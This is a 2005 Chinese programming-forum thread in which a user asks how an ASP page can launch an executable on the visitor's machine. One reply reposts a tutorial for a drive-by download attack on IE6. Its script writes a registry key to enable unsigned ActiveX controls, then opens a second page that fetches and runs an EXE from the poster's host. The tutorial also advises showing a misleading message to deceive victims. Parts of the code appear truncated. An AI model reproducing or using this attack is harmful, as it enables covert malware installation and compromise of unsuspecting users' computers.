如何用ASP调用客户端的EXE文件?

hanprogrammer 2005-01-25 01:16:37
我的想法是用Response.ContentType="Application/@"来调用,可是我在客户机上注册了一个扩展名,并关联了exe文件,并在WEB服务器IIS上注册了对应的MIME,在ASP页面调用的时候还是不能调用?这什么呀,要怎么样才能实现打开客户端EXE文件呀,
...全文
234 10 打赏 收藏 转发到动态 举报
写回复
用AI写文章
10 条回复
切换为时间正序
请发表友善的回复…
发表回复
zhangyunqi 2005-06-02
  • 打赏
  • 举报
回复
学习
kebeixueng 2005-04-06
  • 打赏
  • 举报
回复
学习
hanprogrammer 2005-01-31
  • 打赏
  • 举报
回复
另外说一句 avonqin(不再看连续剧)提供的方法偶感觉是还需要额外的一个COM组件,不知道是不是这样
hanprogrammer 2005-01-31
  • 打赏
  • 举报
回复
多谢大家的支持,问题已解决,原来做MIME映射的时候仅仅在IIS中编辑是没用的,要修改注册表才行。
hanprogrammer 2005-01-25
  • 打赏
  • 举报
回复
对不起,我说的不够明白,我的意思就是调用客户端的EXE文件,我想是可行的,因为我见过这样的系统,就像可以在IE中打开Word一样(不同的是Word是在IE中打开的),。。。只是不知道怎么现实的,
avonqin 2005-01-25
  • 打赏
  • 举报
回复
[转贴]

让IE6.0执行EXE文件的网页
 
说到要做一个让网页让IE6.0浏览的时候来执行空间下的一个EXE文件的方法要和以前写过的5.0的方法是完全不一样的了,5.0的总体思路是用一个HTML的文件带动一

个有错误开头的EML文件,让IE无条件的执行EML中的附件,可是当我们把IE升级到6.0的时候,再打开这个页面我们会发现WINDOWS会出现一个打开方式的界面,所以我们

前面做的针对IE5.0的是无效的。

下面我们来看看怎么让6.0来执行我们空间的同路径下的一个EXE文件,方法大致是当用户开启第一个HTML的页面时,通过恶意的HTML代码把IE安全级别里的默认的

“禁用下栽未签名的ActiveX控件”选项,变为“启用下栽未签名的ActiveX控件”,然后马上打开第二个HTML的文件内容是下载一个未签名的ActiveX控件,实质就是我们

所要执行的EXE文件,好了,下面我们来说说具体的制作步骤。

【第一步】建立一个1.HTM的文件,内容如下:






<SCRIPT>
document.write("");
function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
if (documents.cookie.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\3\\1004",0,"REG_DWORD");
var expdate = new Date((new Date()).getTime() + (1));
documents.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();


<script language="javascript">




这里需要说明的是,其中“window.open('http://xiaomutou.diy.163.com/2.htm','colortext')”中的“http://xiaomutou.diy.163.com/2.htm”要改为你自己的

主页空间的路径,其中“setTimeout("opencolortext()",1500)”的“1500”是延时1.5秒中之后打开我们一会将要做的2.HTM文件。好,我们现在就来做这个2.HTM文

件,内容如下:




<SCRIPT language=javascript>
run_exe=""
run_exe+="
";
document.open();
document.clear();
document.writeln(run_exe);
document.close();





论坛连接中请勿终断....









说明,代码中“run_exe+="CODEBASE=\"3.exe#version=1,1,1,1\">" ”的“3.EXE”就是IE将来要执行的同路径下你的EXE文件

至于论坛连接中请勿终断,完全是迷惑对方的你自己可以变成自己的话。

好了现在将我们做的1.HTM、2.HTM和自己要对方执行的EXE文件一并上传到自己的主页空间下。

现在就让我们用IE6.0来直接浏览这个1.HTM的文件吧,当打开这个页面的1-2秒后应该自动打开另一个空白的页面,紧接着你的EXE文件将被执行,注意所放的EXE文件不要

过大,最好能控制在100K之内
xing_gg 2005-01-25
  • 打赏
  • 举报
回复
高深问题,新手不会,帮你顶吧!
myvicy 2005-01-25
  • 打赏
  • 举报
回复
不太可能打开客户端的exe执行吧。你想错了,你也真是的。
spring11 2005-01-25
  • 打赏
  • 举报
回复
如果能随便打开客户端的EXE。。。那IE就危险了!
hackate 2005-01-25
  • 打赏
  • 举报
回复
不太明白你的问题,可能我水平不够,帮你顶吧!-_-#!

28,391

社区成员

发帖
与我相关
我的任务
社区描述
ASP即Active Server Pages,是Microsoft公司开发的服务器端脚本环境。
社区管理员
  • ASP
  • 无·法
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧